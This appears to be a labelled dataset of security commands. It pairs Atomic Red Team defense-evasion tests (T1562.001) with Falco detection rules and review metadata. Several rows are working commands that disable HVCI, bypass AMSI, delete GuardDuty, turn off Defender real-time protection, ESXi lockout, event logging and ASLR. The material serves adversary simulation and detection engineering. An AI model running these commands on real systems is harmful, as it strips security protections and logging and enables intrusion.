2a765304ef3f71bd8a85001c,"reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"" /v ""EnableVirtualizationBasedSecurity"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"" /v ""RequirePlatformSecurityFeatures"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"" /v ""Locked"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"" /v ""Enabled"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"" /v ""Locked"" /f","reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"" /v ""EnableVirtualizationBasedSecurity"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"" /v ""RequirePlatformSecurityFeatures"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard"" /v ""Locked"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"" /v ""Enabled"" /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"" /v ""Locked"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Hypervisor-Enforced Code Integrity (HVCI),T1562.001,"[""T1562.001""]",windows,0.55,True,"This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity ""Enabled"" value to ""0"".
The pre-req needs to be ran in order to setup HVCI and have it enabled. 
We do not recommend running this in production.
[Black Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)
[Microsoft]",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b94cf5eddd57a2ec668160bd,REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f,REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AMSI Bypass - Override AMSI via COM,T1562.001,"[""T1562.001""]",windows,0.9,False,"With administrative rights, an adversary can disable AMSI via registry value in HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist.
This is currently being used by AsyncRAT and others. 
https://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html
https://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5aea22ae22ccf594dd16c4db,REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /f,REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AMSI Bypass - Override AMSI via COM,T1562.001,"[""T1562.001""]",windows,0.55,True,"With administrative rights, an adversary can disable AMSI via registry value in HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist.
This is currently being used by AsyncRAT and others. 
https://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html
https://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c6d224a00c4cc7f662445a3,"detectorId=$(aws guardduty create-detector --enable --region ""#{region}"" | grep -oP '(?<=""DetectorId"": "")[^""]*') aws guardduty update-detector --no-enable --detector-id $detectorId aws guardduty delete-detector --detector-id $detectorId","detectorId=$(aws guardduty create-detector --enable --region ""#{region}"" | grep -oP '(?<=""DetectorId"": "")[^""]*') aws guardduty update-detector --no-enable --detector-id $detectorId aws guardduty delete-detector --detector-id $detectorId",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AWS - GuardDuty Suspension or Deletion,T1562.001,"[""T1562.001""]",iaas:aws,0.9,False,"Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0739830ef4d499c9c52cc3f6,"echo ""If test successfully ran, no cleanup required.""","echo ""If test successfully ran, no cleanup required.""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AWS - GuardDuty Suspension or Deletion,T1562.001,"[""T1562.001""]",iaas:aws,0.55,True,"Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
432f8a025ff09f940ddc9f9d,sudo mdatp config real-time-protection --value disabled,sudo mdatp config real-time-protection --value disabled,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Defender ATP on Linux/MacOS,T1562.001,"[""T1562.001""]","linux,macos",0.9,False,"With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructio",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
939c8f85fcf38b74f155715a,sudo mdatp config real-time-protection --value enabled,sudo mdatp config real-time-protection --value enabled,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Defender ATP on Linux/MacOS,T1562.001,"[""T1562.001""]","linux,macos",0.55,True,"With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructio",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0cc2f815b646ac9af301129c,Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false Disconnect-VIServer -Confirm:$false,Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false Disconnect-VIServer -Confirm:$false,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,ESXi - Disable Account Lockout Policy via PowerCLI,T1562.001,"[""T1562.001""]",linux,0.9,False,"An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20ac2c31f714c98a71f8f20c,"New-Item -Path ""HKCU:\Software\Microsoft\Windows Script\Settings"" -Force | Out-Null New-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows Script\Settings"" -Name ""AmsiEnable"" -Value 0 -PropertyType DWORD -Force | Out-Null","New-Item -Path ""HKCU:\Software\Microsoft\Windows Script\Settings"" -Force | Out-Null New-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows Script\Settings"" -Name ""AmsiEnable"" -Value 0 -PropertyType DWORD -Force | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AMSI Bypass - Create AMSIEnable Reg Key,T1562.001,"[""T1562.001""]",windows,0.9,False,"Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0.
Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
acdd62f67af9e1b757d880f5,"Remove-Item -Path ""HKCU:\Software\Microsoft\Windows Script\Settings"" -Recurse -Force 2> $null","Remove-Item -Path ""HKCU:\Software\Microsoft\Windows Script\Settings"" -Recurse -Force 2> $null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AMSI Bypass - Create AMSIEnable Reg Key,T1562.001,"[""T1562.001""]",windows,0.55,True,"Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0.
Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc19d4a0ee3c955cee080572,"reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application"" /v ""Start"" /t REG_DWORD /d ""0"" /f","reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application"" /v ""Start"" /t REG_DWORD /d ""0"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application Auto Logger Session Via Registry - Cmd,T1562.001,"[""T1562.001""]",windows,0.9,False,"This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value ""Start"". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d60a50f314c44b0eeabef8d1,"reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application"" /v ""Start"" /t REG_DWORD /d ""1"" /f","reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application"" /v ""Start"" /t REG_DWORD /d ""1"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application Auto Logger Session Via Registry - Cmd,T1562.001,"[""T1562.001""]",windows,0.55,True,"This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value ""Start"". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fdd13e4c3298d60ab547d7e5,"New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 0 -PropertyType ""DWord"" -Force","New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 0 -PropertyType ""DWord"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application Auto Logger Session Via Registry - PowerShell,T1562.001,"[""T1562.001""]",windows,0.9,False,"This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the powershell.exe ""New-ItemProperty"" cmdlet to update the Windows registry value ""Start"". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
22e6fdb6a2779e20bc392ec1,"New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 1 -PropertyType ""DWord"" -Force","New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 1 -PropertyType ""DWord"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application Auto Logger Session Via Registry - PowerShell,T1562.001,"[""T1562.001""]",windows,0.55,True,"This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the powershell.exe ""New-ItemProperty"" cmdlet to update the Windows registry value ""Start"". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2d8e3e2762561e841367438,"reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" /v ""Enabled"" /t REG_DWORD /d ""0"" /f","reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" /v ""Enabled"" /t REG_DWORD /d ""0"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application ETW Provider Via Registry - Cmd,T1562.001,"[""T1562.001""]",windows,0.9,False,"This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value ""Enabled"". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7367b33164df4efc412c35d,"reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" /v ""Enabled"" /t REG_DWORD /d ""1"" /f","reg add ""HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" /v ""Enabled"" /t REG_DWORD /d ""1"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application ETW Provider Via Registry - Cmd,T1562.001,"[""T1562.001""]",windows,0.55,True,"This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value ""Enabled"". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2e223cf19268d2bc90106f77,"New-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" -Name Enabled -Value 0 -PropertyType ""DWord"" -Force","New-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" -Name Enabled -Value 0 -PropertyType ""DWord"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application ETW Provider Via Registry - PowerShell,T1562.001,"[""T1562.001""]",windows,0.9,False,"This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the powershell.exe ""New-ItemProperty"" cmdlet to update the Windows registry value ""Enabled"". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c8845c2491555849259979c3,"New-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" -Name Enabled -Value 1 -PropertyType ""DWord"" -Force","New-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}"" -Name Enabled -Value 1 -PropertyType ""DWord"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable EventLog-Application ETW Provider Via Registry - PowerShell,T1562.001,"[""T1562.001""]",windows,0.55,True,"This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the powershell.exe ""New-ItemProperty"" cmdlet to update the Windows registry value ""Enabled"". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
08e761b5898476f8c3c07483,"Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue Write-Output ""File deleted: $edrFreezeExe""","Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue Write-Output ""File deleted: $edrFreezeExe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Freeze PPL-protected process with EDR-Freeze,T1562.001,"[""T1562.001""]",windows,0.55,True,"This test utilizes the tool EDR-Freeze, which leverages the native Microsoft binary WerFaultSecure.exe to suspend processes protected by the Protected Process Light mechanism. PPL is a Windows security feature designed to safeguard critical system processes — such as those related to antivirus, credential protection, and system integrity — from tampering or inspection. These processes operate in a restricted environment that prevents access even from administrators or debugging tools, unless the",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3965d73e90dbc1aba41f3271,sysctl -w kernel.randomize_va_space=0,sysctl -w kernel.randomize_va_space=0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable ASLR Via sysctl parameters - Linux,T1562.001,"[""T1562.001""]",linux,0.9,False,Detects Execution of the `sysctl` command to set `kernel.randomize_va_space=0` which disables Address Space Layout Randomization (ASLR) in Linux.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d8ad5700de0799c53dd3e7cc,sysctl -w kernel.randomize_va_space=2,sysctl -w kernel.randomize_va_space=2,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable ASLR Via sysctl parameters - Linux,T1562.001,"[""T1562.001""]",linux,0.55,True,Detects Execution of the `sysctl` command to set `kernel.randomize_va_space=0` which disables Address Space Layout Randomization (ASLR) in Linux.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
202f79494a364e68795118b5,open_write and (fd.filename in (shell_config_filenames) or fd.name in (shell_config_files) or fd.directory in (shell_config_directories)) and not proc.name in (shell_binaries) and not exe_running_docker_save and not user_known_shell_config_modifiers,open_write and (fd.filename in (shell_config_filenames) or fd.name in (shell_config_files) or fd.directory in (shell_config_directories)) and not proc.name in (shell_binaries) and not exe_running_docker_save and not user_known_shell_config_modifiers,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Modify Shell Configuration File,falco_condition,[],linux/container,0.3,True,"Detect attempts to modify shell configuration files, primarily aimed at establishing persistence by automatically inserting commands into scripts executed by shells. The upstream rule excludes shell processes because they often create unnecessary noise. However, this might lead to missed detections. To customize the rule for your situation, you can fine-tune it using enhanced profiling. For example, you might want to only consider interactive shell processes (where proc.tty != 0).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e3142776303ffd8bb397ad4,"((open_write and fd.name startswith /etc/cron) or (spawned_process and proc.name = ""crontab"")) and not user_known_cron_jobs","((open_write and fd.name startswith /etc/cron) or (spawned_process and proc.name = ""crontab"")) and not user_known_cron_jobs",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Schedule Cron Jobs,falco_condition,[],linux/container,0.3,True,"Detect scheduled cron jobs; this is a highly generic detection and certainly needs adjustments and profiling in your environment before operationalization. Simultaneously, exploiting the functionality of cron jobs is among one of the oldest TTPs used by adversaries.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56fd261f7998339b6a5864c2,(open_read or open_directory) and (user_ssh_directory or fd.name startswith /root/.ssh) and not user_known_read_ssh_information_activities and not proc.name in (ssh_binaries),(open_read or open_directory) and (user_ssh_directory or fd.name startswith /root/.ssh) and not user_known_read_ssh_information_activities and not proc.name in (ssh_binaries),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Read ssh information,falco_condition,[],linux/container,0.3,True,"This rule identifies attempts to read files within ssh directories using programs that are not related to ssh. It's a simple and versatile detection method that works well alongside more specific rules focused on sensitive file access. You have a couple of options for using this rule effectively: you can adjust the specialized rules to cover all the important scenarios and ensure precedence in rule smatching for those, or you can analyze the combined view of ssh-related file access across variou",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e18abb73e1026fdedf7f4b68,spawned_process and proc.pname in (db_server_binaries) and not proc.name in (db_server_binaries) and not postgres_running_wal_e and not user_known_db_spawned_processes,spawned_process and proc.pname in (db_server_binaries) and not proc.name in (db_server_binaries) and not postgres_running_wal_e and not user_known_db_spawned_processes,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,DB program spawned process,falco_condition,[],linux/container,0.3,True,"A program related to the database server creates an unexpected child process (other than itself). This is not supposed to happen and often follows SQL injection attacks. This behavioral detection could indicate potential unauthorized data extraction or tampering with the database.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a32c4c4972a289b26668329a,"evt.type=setns and proc_name_exists and not (container.id=host and proc.name in (docker_binaries, k8s_binaries, lxd_binaries, nsenter)) and not proc.name in (sysdigcloud_binaries, sysdig, calico, oci-umount, cilium-cni, network_plugin_binaries) and not proc.name in (user_known_change_thread_namespace_binaries) and not proc.name startswith ""runc"" and not proc.cmdline startswith ""containerd"" and not proc.pname in (sysdigcloud_binaries, hyperkube, kubelet, protokube, dockerd, tini, aws) and not java_running_sdjagent and not kubelet_running_loopback and not rancher_agent and not rancher_network_manager and not calico_node and not weaveworks_scope and not user_known_change_thread_namespace_activities","evt.type=setns and proc_name_exists and not (container.id=host and proc.name in (docker_binaries, k8s_binaries, lxd_binaries, nsenter)) and not proc.name in (sysdigcloud_binaries, sysdig, calico, oci-umount, cilium-cni, network_plugin_binaries) and not proc.name in (user_known_change_thread_namespace_binaries) and not proc.name startswith ""runc"" and not proc.cmdline startswith ""containerd"" and not proc.pname in (sysdigcloud_binaries, hyperkube, kubelet, protokube, dockerd, tini, aws) and not java_running_sdjagent and not kubelet_running_loopback and not rancher_agent and not rancher_network_manager and not calico_node and not weaveworks_scope and not user_known_change_thread_namespace_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Change thread namespace,falco_condition,[],linux/container,0.3,True,"An attempt to alter the namespace of a process (often performed while creating a container) through the setns syscall. Conversely, the same syscall setns is triggered when an unauthorized attempt is made to break out from the container to the host, for example, when using commands like `nsenter --target 1` and similar ones. Recommending to profile your environment and refine this rule for effective operationalization.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
311b9c6107b59306dee81ebf,evt.type=unshare and container and not thread.cap_permitted contains CAP_SYS_ADMIN,evt.type=unshare and container and not thread.cap_permitted contains CAP_SYS_ADMIN,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Change namespace privileges via unshare,falco_condition,[],linux/container,0.3,True,"Unprivileged users in containers may not have CAP_SYS_ADMIN or other elevated privileges. However, they can use the unshare system call with CLONE_NEWNS or CLONE_NEWUSER to create or clone a namespace or user with the necessary privileges to conduct further attacks. It is best practice to block the unshare system call via seccomp if it is not needed. Misuse of unshare can be related to misconfigured Kubernetes clusters, for example.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a5c9163b94aa445cf07b2c2b,container_started and container.privileged=true and not falco_privileged_containers and not user_privileged_containers and not redhat_image,container_started and container.privileged=true and not falco_privileged_containers and not user_privileged_containers and not redhat_image,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Launch Privileged Container,falco_condition,[],linux/container,0.3,True,"Detect the initial process initiation within a privileged container, with exemptions for known and trusted images. This rule primarily serves as an excellent auditing mechanism since highly privileged containers, when compromised, can result in significant harm. For instance, if another rule triggers within such a privileged container, it could be seen as more suspicious, prompting a closer inspection.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
89632bc62cc8c2b082be7e56,container_started and excessively_capable_container and not falco_privileged_containers and not user_privileged_containers,container_started and excessively_capable_container and not falco_privileged_containers and not user_privileged_containers,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Launch Excessively Capable Container,falco_condition,[],linux/container,0.3,True,"Identify containers that start with a powerful set of capabilities, with exceptions for recognized trusted images. Similar to the ""Launch Privileged Container"" rule, this functions as a robust auditing rule. Compromised highly privileged containers can lead to substantial harm. For instance, if another rule is triggered within such a container, it might raise suspicion, prompting closer scrutiny.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cfb6a0b1a22beff783830b49,inbound_outbound and fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)) and not proc.name in (known_system_procs_network_activity_binaries) and not login_doing_dns_lookup and not user_expected_system_procs_network_activity_conditions,inbound_outbound and fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)) and not proc.name in (known_system_procs_network_activity_binaries) and not login_doing_dns_lookup and not user_expected_system_procs_network_activity_conditions,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,System procs network activity,falco_condition,[],linux/container,0.3,True,"Detect any unexpected network activity performed by system binaries that typically shouldn't perform network activity, including coreutils binaries (like sleep, mkdir, who, date, and others) or user management binaries (such as login, systemd, usermod, deluser, adduser, chpasswd, and others). This serves as a valuable baseline detection for network-related activities.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ebac6e53b2b88f75707c48e,spawned_process and http_proxy_procs and proc.env icontains HTTP_PROXY and not allowed_ssh_proxy_env,spawned_process and http_proxy_procs and proc.env icontains HTTP_PROXY and not allowed_ssh_proxy_env,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Program run with disallowed http proxy env,falco_condition,[],linux/container,0.3,True,"Detect curl or wget usage with HTTP_PROXY environment variable. Attackers can manipulate the HTTP_PROXY variable's value to redirect application's internal HTTP requests. This could expose sensitive information like authentication keys and private data.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b5e23eb61d95121764fc519,inbound_outbound and fd.l4proto=udp and not expected_udp_traffic,inbound_outbound and fd.l4proto=udp and not expected_udp_traffic,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Unexpected UDP Traffic,falco_condition,[],linux/container,0.3,True,"Detecting UDP traffic on ports other than 53 (DNS) or other commonly used ports. Misusing UDP is a known TTP among attackers. Monitoring unusual network activity is highly valuable but often generates significant noise, as is the case with this detection.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f8e1ee44f24bbab774e37fbc,"evt.type=setuid and (known_user_in_container or not container) and not (user.name=root or user.uid=0) and not somebody_becoming_themselves and not proc.name in (known_setuid_binaries, userexec_binaries, mail_binaries, docker_binaries, nomachine_binaries) and not proc.name startswith ""runc:"" and not java_running_sdjagent and not nrpe_becoming_nagios and not user_known_non_sudo_setuid_conditions","evt.type=setuid and (known_user_in_container or not container) and not (user.name=root or user.uid=0) and not somebody_becoming_themselves and not proc.name in (known_setuid_binaries, userexec_binaries, mail_binaries, docker_binaries, nomachine_binaries) and not proc.name startswith ""runc:"" and not java_running_sdjagent and not nrpe_becoming_nagios and not user_known_non_sudo_setuid_conditions",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Non sudo setuid,falco_condition,[],linux/container,0.3,True,"Detect attempts to change users through the use of setuid, with exceptions for sudo/su. The users ""root"" and ""nobody"" using setuid on themselves are also excluded, as setuid calls in these cases typically involve reducing privileges. By setting the setuid bit, an attacker could execute code in a different user's context, potentially with higher privileges. One drawback is the potential for noise, as many applications legitimately use this approach.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
